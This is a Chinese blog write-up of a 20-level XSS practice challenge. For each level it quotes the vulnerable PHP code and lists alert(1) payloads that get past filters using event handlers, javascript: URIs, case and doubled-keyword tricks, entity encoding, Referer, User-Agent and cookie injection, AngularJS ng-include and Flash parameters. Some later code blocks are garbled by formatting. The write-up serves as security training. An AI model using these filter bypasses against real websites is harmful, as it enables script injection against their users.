美文网首页
某XSS挑战赛解题思路

某XSS挑战赛解题思路

作者: Wudi1 | 来源:发表于2019-06-11 17:18 被阅读0次

XSS挑战赛解题思路

level1

image.png

查看源代码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level2.php?keyword=test"; 
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<h1 align=center>欢迎来到level1</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
<center><img src=level1.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

可以看到name处没有任何过滤,直接插入payload即可

<script>alert(1)</script>
image.png

level2

image.png

代码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level3.php?writing=wait"; 
}
</script>
<title>欢迎来到level2</title>
</head>
<body>
<h1 align=center>欢迎来到level2</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
<center><img src=level2.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

可以看到keyword参数使用了htmlspecialchars()函数进行过滤

实例

<?php
$str = "This is some <b>bold</b> text.";
echo htmlspecialchars($str);
?>

以上代码的HTML输出如下


image.png
image.png

也就是说<>不能用,那就换吧
点击触发


image.png
鼠标滑动触发
image.png
image.png

再者就是
就是在构造payload时
将input的文本框本分提前闭合

 "><script>alert(1)</script>
image.png

level3

image.png
image.png

双引号被过滤,查看源码发现存在单引号,可以尝试单引号闭合>被转译,所以试用//闭合


image
payload
'onclick=alert(1)//

我们来看下源码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level4.php?keyword=try harder!"; 
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<h1 align=center>欢迎来到level3</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
<center><img src=level3.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

比第二关多了value='".htmlspecialchars($str)."'闭合<"">构造script弹窗方法失效了,应为value中的<被转义了,只能利用上题中的js来构造弹窗,不过这里需要用单引号闭合,构造payload。

level4

可直接使用第二关的payload


image.png

我们来看看源代码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level5.php?keyword=find a way out!"; 
}
</script>
<title>欢迎来到level4</title>
</head>
<body>
<h1 align=center>欢迎来到level4</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level4.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
</body>
</html>

可以看到接参数的时候多了一步将<>,替换为空,依然可以使用第二关的js事件触发xss。
str_replace()函数实例


image.png

所以可以使用的payload

" onfocus=alert(1) autofocus="
" onclick=alert(1) //

level5

image.png

查看网页源代码时发现on事件被破坏,但是并未过滤<>,所以尝试使用<>构造payload


image.png
image.png
image.png

我们来看下源码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level6.php?keyword=break it out!"; 
}
</script>
<title>欢迎来到level5</title>
</head>
<body>
<h1 align=center>欢迎来到level5</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level5.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
</body>
</html>

strtolower()函数


image.png

这次大小写绕过也失效了,但是并没有过滤<>。所以这里使用伪协议来构造payload。

"><iframe src=javascript:alert(1)>
"><a href=javascript:alert(1)> 
"> <a href="javascript:alert(1)">zhouzhong</a>
"> <a href="javascript:%61lert(1)">zhouzhong</a> //

后面三个需要点击

level6

image.png

看样子也是过滤了on事件和script,使用伪协议构造payload


image.png

发现href也被过滤src也被过滤了


image.png
image.png
尝试下大小写绕过方式,成功弹窗。
image.png

接下来我们看一看源码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level7.php?keyword=move up!"; 
}
</script>
<title>欢迎来到level6</title>
</head>
<body>
<h1 align=center>欢迎来到level6</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level6.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body>
</html>

可以看到代码中使用了str_replace(),函数替换了<script>,on事件 src data href 但是接收参数的时候并没有使用strtolower() 参数规避大小写的问题,导致可以使用大小写绕过成功实现弹窗。
可以使用的paylaod有

"> <Script>alert(1)</script> //
"> <img Src=x OnError=alert(1)> //
"><a HrEf="javascript:alert(1)">zhouzhong</a>//
" OncliCk=alert(1) //

level7

image.png

发现过滤了script和on事件,过滤方式为替换称空值,大小写也做了匹配


image.png
image.png

既然它将我们的关键字替换为空,那我们尝试下双写方式绕过,果然可以


image.png
我们来看下源码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level8.php?keyword=nice try!"; 
}
</script>
<title>欢迎来到level7</title>
</head>
<body>
<h1 align=center>欢迎来到level7</h1>
<?php 
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level7.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body>
</html>

禁用大小写
script,on,src ,data ,href 都直接转换成空,直接使用双写

"><sscriptcript>alert(1)</sscriptcript>
">hello<sscriptcript>alert(1)</sscriptcript>
" oonnmouseover=alert(1)
"><a hrhrefef=javascriscriptpt:alert(1)>zhouzhong</a>

level8

image.png

初步尝试下,一般的都已经被过滤了,大小写也尝试了没绕过去,重点应该在href里面


image.png

发现JavaScript被过滤成javasc_rpt,所以这里我们尝试使用实体编码绕过匹配


image.png
将r修改成r所以payload为
javasc&#x72;ipt:alert`1`
image.png
在线实体编码转换
可以使用的payload还有
javascrip&#x74;:alert(1)
javasc&#x72;ipt:alert`1`
javasc&#x0072;ipt:alert`1`

接下来我们看看源码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level9.php?keyword=not bad!"; 
}
</script>
<title>欢迎来到level8</title>
</head>
<body>
<h1 align=center>欢迎来到level8</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
 echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>
<center><img src=level8.jpg></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>

script 转换成 scr_ipt
on 转换成 o_n
src 转换成 sr_c
data 转换成 da_ta
href 转换成 hr_ef
大小写失效
" 还被编码,但是尖括号<> ,单引号 ’ ,% ,# ,& 符号没有被过滤,输出点在a标签内,href属性中,
属性中双引号被转换成HTML实体,无法截断属性,我们可以使用协议绕过javascript:alert,由于script关键字被过滤.javascript会被替换成javasc_rpt,我们使用&#x72来代替r ,可以直接用上面的payload尝试

level9

我们还是先看看源码吧

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level10.php?keyword=well done!"; 
}
</script>
<title>欢迎来到level9</title>
</head>
<body>
<h1 align=center>欢迎来到level9</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
<center><img src=level9.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>

看了源码之后才知道和上一关大同小异,只是存在检测http://。不存在的花会报链接不合法,所以在构造payload可以尝试添加上,成功弹窗
构造payload

javascrip&#x74;:alert(1)//http://xxx.com                        //利用注释
javascrip&#x74;:%0dhttp://xxx.com%0dalert(1)                 //不利用注释
image.png

level10

image.png

我们还是先来看看源码吧

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level11.php?keyword=good job!"; 
}
</script>
<title>欢迎来到level10</title>
</head>
<body>
<h1 align=center>欢迎来到level10</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level10.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

仔细观察我们可以看到可以利用的参数是str33,也就是t_sort这个参数。是隐藏属性
这个参数过滤了<>。所以我们可以构造payload

keyword = test&t_sort="type="text" onclick = "alert(1)
keyword = test&t_sort="type="text" onmouseover="alert(1)

成功实现弹窗


image.png

level11

image.png

我们还是先来看代码吧

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level12.php?keyword=good job!"; 
}
</script>
<title>欢迎来到level11</title>
</head>
<body>
<h1 align=center>欢迎来到level11</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level11.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

可以看到这次输出点在http_refferer处,可以直接调用上一关的payload

Referer: " onmouseover=alert(1) type="text"
Referer: " onclick="alert(1) type="text"
image.png

可以看到成功弹窗


image.png

level12

image.png

我们还是来看代码吧

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level13.php?keyword=good job!"; 
}
</script>
<title>欢迎来到level12</title>
</head>
<body>
<h1 align=center>欢迎来到level12</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level12.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

可以看到这里把输出点放在了http_user_agent上,原理与level11基本相同,所以还是通过bp改包,达到弹窗的效果,payload可以直接用上一关的

Referer: " onmouseover=alert(1) type="text"
Referer: " onclick="alert(1) type="text"
image.png
image.png

level13

image.png

我们来看源码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level14.php"; 
}
</script>
<title>欢迎来到level13</title>
</head>
<body>
<h1 align=center>欢迎来到level13</h1>
<?php 
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level13.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

从代码中可以看出这次的输出点在cookies的user中,原来和前两关一致,所以可以直接用上面的payload
``
Referer: " onmouseover=alert(1) type="text"
Referer: " onclick="alert(1) type="text"

bp中改包
![image.png](https://img.haomeiwen.com/i4267332/abeb39517186a0c0.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
成功弹窗
![image.png](https://img.haomeiwen.com/i4267332/ac827b851b7ef9b7.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)

#level14
![image.png](https://img.haomeiwen.com/i4267332/5b2f085c907cf22a.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
一眼看上去很高大上的样子,我们还是来看看源码吧

<html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<title>欢迎来到level14</title>
</head>
<body>
<h1 align=center>欢迎来到level14</h1>
<center><iframe name="leftframe" marginwidth=10 marginheight=10 src="http://www.exifviewer.org/" frameborder=no width="80%" scrolling="no" height=80%></iframe></center><center>这关成功后不会自动跳转。成功者<a href=/xsschallenge/level15.php?src=1.gif>点我进level15</a></center>
</body>
</html>

实在没什么头绪,还好网上已经有大佬解决了
[level14](https://xz.aliyun.com/t/1206#toc-12)
![](https://img.haomeiwen.com/i4267332/68b65740fcca5d30.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
但是为啥我的不会出现上传点,🤔,希望有大佬可以指导下

#level15
![image.png](https://img.haomeiwen.com/i4267332/8090f4480ebced02.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
我们还是来看看源码吧

<html ng-app>
<head>
<meta charset="utf-8">
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.2.0/angular.min.js"></script>
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level16.php?keyword=test";
}
</script>
<title>欢迎来到level15</title>
</head>
<h1 align=center>欢迎来到第15关,自己想个办法走出去吧!</h1>
<p align=center><img src=level15.png></p>
<?php
ini_set("display_errors", 0);
str =_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>

从代码上看似乎可以控制的点在src这个参数上。但是没想明白这个怎么用,看了下网上大佬的解法。
这题有angular js,然后ng-include相当于php的include函数,然后src参数被转译了,最终我们可以通过include
level1然后在用img标签传xss
payload

http://localhost/XSS/level15.php?src=%27level1.php?name=%3Cimg%20src=1%20onerror=alert(1)%3E%27


#level16
![image.png](https://img.haomeiwen.com/i4267332/aa169b3e5e52e063.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
源码

<!DOCTYPE html><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level17.php?arg01=a&arg02=b";
}
</script>
<title>欢迎来到level16</title>
</head>
<body>
<h1 align=center>欢迎来到level16</h1>
<?php
ini_set("display_errors", 0);
str = strtolower(_GET["keyword"]);
str2=str_replace("script","&nbsp;",str);
str3=str_replace(" ","&nbsp;",str2);
str4=str_replace("/","&nbsp;",str3);
str5=str_replace(" ","&nbsp;",str4);
echo "<center>".str5."</center>"; ?> <center><img src=level16.png></center> <?php echo "<h3 align=center>payload的长度:".strlen(str5)."</h3>";
?>
</body>
</html>

这里我们可以观察到script被过滤 / 空格 被过滤。我们可以用上一关的img标签,以及%0a绕过空格
payload

<img%0asrc=1%0aonerror=alert(1)>


#level17
![image.png](https://img.haomeiwen.com/i4267332/76e39960d9816a1f.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
源码

<!DOCTYPE html><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
}
</script>
<title>欢迎来到level17</title>
</head>
<body>
<h1 align=center>欢迎来到level17</h1>
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars(_GET["arg01"])."=".htmlspecialchars(_GET["arg02"])." width=100% heigth=100%>";
?>
<h2 align=center>成功后,<a href=level18.php?arg01=a&arg02=b>点我进入下一关</a></h2>
</body>
</html>

这个直接在embed标签中插入onmouseover事件

http://localhost/XSS/level17.php?arg01=a&arg02=b%20onmouseover=alert(1)

![image.png](https://img.haomeiwen.com/i4267332/fe2c139ef134fd2b.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)


#level18
![image.png](https://img.haomeiwen.com/i4267332/8f01f67da6d837e9.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
看源码

<!DOCTYPE html><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level19.php?arg01=a&arg02=b";
}
</script>
<title>欢迎来到level18</title>
</head>
<body>
<h1 align=center>欢迎来到level18</h1>
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf02.swf?".htmlspecialchars(_GET["arg01"])."=".htmlspecialchars(_GET["arg02"])." width=100% heigth=100%>";
?>
</body>
</html>

这不是和level17差不多么
直接用上一关的payload

http://localhost/XSS/level18.php?arg01=a&arg02=b%20onmouseover=alert(1)

![image.png](https://img.haomeiwen.com/i4267332/af4d9474a54ade46.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)



#level19
![image.png](https://img.haomeiwen.com/i4267332/20d561419c9f20a8.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
看代码

<!DOCTYPE html><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level20.php?arg01=a&arg02=b";
}
</script>
<title>欢迎来到level19</title>
</head>
<body>
<h1 align=center>欢迎来到level19</h1>
<?php
ini_set("display_errors", 0);
echo '<embed src="xsf03.swf?'.htmlspecialchars(_GET["arg01"])."=".htmlspecialchars(_GET["arg02"]).'" width=100% heigth=100%>';
?>
</body>
</html>

flash xss,需要对flash的反编译对源码进行分析,这里使用[jpexs-decomplier](https://github.com/jindrapetrik/jpexs-decompiler)来分析。

sIFR.menuItems.push(new ContextMenuItem("Followlink",function()
{
getURL(sIFR.instance.primaryLink,sIFR.instance.primaryLinkTarget);
}),new ContextMenuItem("Open link in new window",function()
{
getURL(sIFR.instance.primaryLink,"_blank");
}));
再追踪到sIFR的内容,省略了一些代码,关键代码如下:
if(loc5 && _root.version != sIFR.VERSION)
{
loc4 = sIFR.VERSION_WARNING.split("%s").join(_root.version);
}
得知version参数可以传入loc4变量中,即sIFR的内容中,但是getURL 只在内容为link时,打开,故定位以下函数:
function contentIsLink()
{
return this.content.indexOf("<a ") == 0 &&(this.content.indexOf("<a ") ==this.content.lastIndexOf("<a ") &&this.content.indexOf("</a>") == this.content.length - 4);
} //大体意思是要geturl得用a标签吧。

首先分析geturl函数
追踪到sIFR的内容
得知version参数可以传入loc4变量中,即sIFR的内容中,但是getURL只在内容为link时打开,所以分析contentIsLink函数
所以我们可以构造 标签来传值

http://localhost/XSS/level19.php?arg01=version&arg02=%3Ca%20href=%22javascript:alert(%27xss%27)%22%3E111%3C/a%3E

![image.png](https://img.haomeiwen.com/i4267332/dc44ca00f86029d1.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)





#level20
payload

%22))}catch(e){}if(!self.a)self.a=!alert(1)//%26width%26height

[参考](https://www.freebuf.com/sectool/108568.html)






















相关文章

  • 某XSS挑战赛解题思路

    XSS挑战赛解题思路 level1 查看源代码 可以看到name处没有任何过滤,直接插入payload即可 lev...

  • Google xss挑战赛(2017) writeup

    Google xss挑战赛(2017) writeup 前言 这是去年的谷歌xss挑战赛,偶然之间碰到,对于我这种...

  • DVWA——XSS解题过程

    DVWA--XSS解题过程 XSS****概念:通常指黑客通过HTML注入纂改了网页,插入恶意脚本,从而在用户浏览...

  • 解题思路

    Selection sort 如果有一沓人民币,怎么按照面额从小到大按顺序排序?答:每次从这沓人民币中取出面额最小...

  • 解题思路

  • 解题思路

    利用解直角三角形的知识解决实际问题的一般过程是: (1)将实际问题抽象为数学问题(画出平面图形,转化为解直角三角形...

  • 解题思路

    对事物的做法受到限制,效果受到限制。想做什么就做什么不是一味万能丹。 有灵感的时候乘胜追击,也要懂得穷寇莫追。 一...

  • xss挑战赛

    第一关 无过滤,直接使用 alert(1) 第二关 用'';!--"=&{()}进行测试发现有两个输出点...

  • 关于探索性研究思维的培养(5)----JYFS法之鸡兔同笼完整版

    6、解题思路(应用何种解题法)(10):列表法,画图法,极端法,假设法,方程法,图形法,思想实验 解题思路的归纳总...

  • 《2018刑侦推理测试题》解题思路及启示

    解题思路及启示...

网友评论

      本文标题:某XSS挑战赛解题思路

      本文链接:https://www.haomeiwen.com/subject/sjbtfctx.html